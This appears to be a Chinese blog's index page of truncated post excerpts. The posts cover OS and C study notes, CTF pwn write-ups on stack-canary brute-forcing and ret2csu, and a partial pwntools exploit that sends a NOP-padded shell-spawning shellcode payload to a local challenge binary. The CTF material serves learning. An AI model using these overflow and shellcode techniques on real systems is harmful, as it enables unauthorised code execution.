OS碎片
CDU复习资料倾情献上.(其实有更全的考点 有需要私信dd我 是的我是懒狗懒得导过来)
操作系统定义操作系统是一个控制程序操作系统是一个资源管理器应用程序与硬件之间的中间层管理各种计算机硬件资源提供访问计算机软硬件资源的高效手段解决资源访问冲突 确保资源使用公平
操作系统的软件组成
操作系统内核特征并发操作系统中有多个运行的程序 需要os管理和调度
共享“同时”访问(宏观)互斥共享(微观)
虚拟利用多道程序设计 让每个用户觉得有一个计算机为ta提供服务
异步程序的执行走走停停(可预测) 向前推进的速度不可预知只要运行环境相同 os需要保证程序运行的结果也相同 (输入一致 输出结果应该是不变的)
操作系统的主要功能硬件抽象和协调管理 用户和硬件间沟通的桥梁
操作系统的演变单用户系统操作系统=装载器+通用子程序昂贵组件低效率
顺序执行 顺序打印一个作业接一个作业
批处理系统多(道)程序系统交替执行条件:前一个正在执行的程序主动让出CPU执行权
分时系统交替运行
个人计算机:每个用户一个系统 吧应用性
分布式计算机:每个用户多个系统安全性网络成为一个重要的功能通常支持分 ...
C探索碎片——关键字static作用
一、简述static意译是静态的,而作为C语言中常见的关键字之一,它的用法也贴切“静态”这一含义。
二、用法
修饰局部变量
下为static是否修饰局部变量对程序运行结果影响的对比。
1234567891011121314151617#include<stdio.h>void play(){ int a = 6; a++; printf("%d ", a);}int main(){ int i = 0; while (i < 5) { play(); i++; } return 0;}
编辑
此为上图static未修饰局部变量的运行结果
1234567891011121314151617#include<stdio.h>void play(){ static int a = 6; a++; printf("%d ", a);}int ...
C探索碎片——操作符
C的探索碎片——操作符
分类
算术操作符
移位操作符
位操作符
赋值操作符
单目操作符
关系操作符
逻辑操作符
条件操作符
逗号表达式
下标引用、函数调用和结构成员
一.算数操作符1+ - * / %
+、-、*此类数学中常见的算数符号我们再熟悉不过,需要注意的是/(除),%(取余)之间的区别。
例:
12345678#include<stdio,h>int main(){ int a = 10; printf("%d",a/3);//结果为3 printf("%d",a%3);//结果为1 return 0;}
注意:1.除%操作符之外。其他几个操作符可以作用于整数和浮点数。
2./操作符运算时若两个操作数中含浮点数则执行浮点数除法(%lf打印结果);若两操作数都为整数则执行整数除法。
3.%操作符的两个操作数必须为整数。
二、移位操作符123<< 左移操作符>> 右移操作符注:移位操作符的操作数只能是整数。
移 ...
Canary解决姿势
Canary解决姿势被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~
有问题请指正~❀获取例题请在评论区留言或私信我⭐
一、canary爆破标志提示就算fork函数吧 多线程开攻
【funcannary】*
(1)先运行一下 peda配套checksec 根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点
发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过) 对应随机化 后续在IDA中只能利用其地址计算偏移
(2)进IDA
fork接口 == canary爆破(多线程)
发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary
明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆 ...
部分PWN题目记录
Pwn题目记录【NKCTF】弱小可怜无助的唯一。(1)checkesec 发现为64位 只有NX保护
(2)进IDA分析
F5查看main函数
查看偏移为0x74(buf[108]+8[ebp大小]) buf2大小随机 无后门函数 此时联想到使用pwntools生成可利用的shellcode v6随机执行但未设置随机数种子【注释打漏了😜】
exp:
12345678910111213from pwn import *context.arch = 'amd64'context.os = 'linux'context.log_level = 'debug'p = process('./pwn')#p = remote('127.0.0.1', 1337)buf = b'\x90' * 108shellcode = asm(shellcraft.amd64.sh())payload = buf + b'\x90'*(104-len(sh ...
ret2csu
ret2csu原理利用x64下__libc_csu_init函数中的gadgets.(64位传参机制导致,但我们不会每次都精准找到每个寄存器对应的gadgets)
此函数对libc进行初始化,而一般的程序都会调用libc函数,则此函数一定存在.
什么是gadgets?gadgets是一段对寄存器进行操作的汇编指令,比如pop ebp;pop eax;每一条指令对应着一段地址将这些gadgets部署到栈中,__ sp指针指向某gadget时发现对应地址中是一条指令而不是一条数据后就会将该地址弹给 __ ip指针, __ip指针会执行该地址中存放的汇编指令,完成对寄存器的操作.(某一gadget-0x1a得到上一gadget)
实例(蒸米ROP)源码
123456789101112#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512 ...
解密系列basic
解密系列[基础篇]
多字节存储顺序两种编码区别:**Big-Endian:**高位字节存入低地址,低位字节存入高地址,依次排列。**Little-Endian :**低位字节存入低地址,高位字节存入高地址,反序排列 多字节数据存放顺序与CPU有关。
微处理器中存放顺序有正序( Big-Endian)和逆序(Little-Endian) (也称大端存储和小端存储)之分。常见的Intel系列使用的编码方式属于Little-Endian类;某些RISC架构的CPU·OIBM6Power-PC等属于Big-Endian类。
补充:ASCII ( American Standard Code for InformationInterchange·美国信息互换标准代码) 0-256。Unicode字符编码的编码范围是︰0-65535·它包含三套编码方式如 :UTF-8·UTF-16和UTF-32·它和ASCII的关系为ASCII字符编码是Unicode字符编码的一部分。
Win API简介:Windows API就是windows应用程序接口,是针对microsoft window ...
荒诞
yub‘s blog向着彩虹海出发!
Hot Time Exercising Records
Hot Time Exercising RecordsCollection系统调用号
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051section .data msg db "Welcome_to_CTFshow_PWN", 0section .text global _start_start:; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx; 直接寻址方式 mov ecx, [msg] ; 将msg的地址赋值给ecx; 寄存器间接寻址方式 mov esi ...
CSAPP阅读碎片
CSAPP阅读碎片预处理 编译 汇编(二进制文件 目标文件) 链接shell – 命令解释器(默认设置)
系统的硬件组成1.总线 – 各个部件中传递且携带信息字节的传送定长字节块[4/8](字 word)2.I/O设备 主板(I/O设备本身或系统的主印电路板上的芯片组)– 在I/O总线和I/O设备间传递消息【一个典型系统的硬件组成】
3.主存 –临时存放程序和程序处理数据的一组动态随机存取存储器(DRAM)芯片. 逻辑上存储器是每字节有唯一数组索引的线性字节数组4.处理器(读取并解释存放在主存里的二进制指令)(中央处理单元【CPU】)–解释(或执行)存储在主存中指令的引擎中央处理单元 处理器的核心是大小为一字节的存储设备–程序计数器PC 任何时刻PC都指向主存中的含指令地址的某条机器语言指令
处理器的指令集–描述每条机器代码指令的效果处理器的微体系结构–处理器实际是怎么实现的
程序经汇编后的机器指令最初存放在磁盘上,程序加载时被复制到主存,处理器运行程序时,指令从主存复制到处理器
高速缓存存储器(cache memory):作为暂时 ...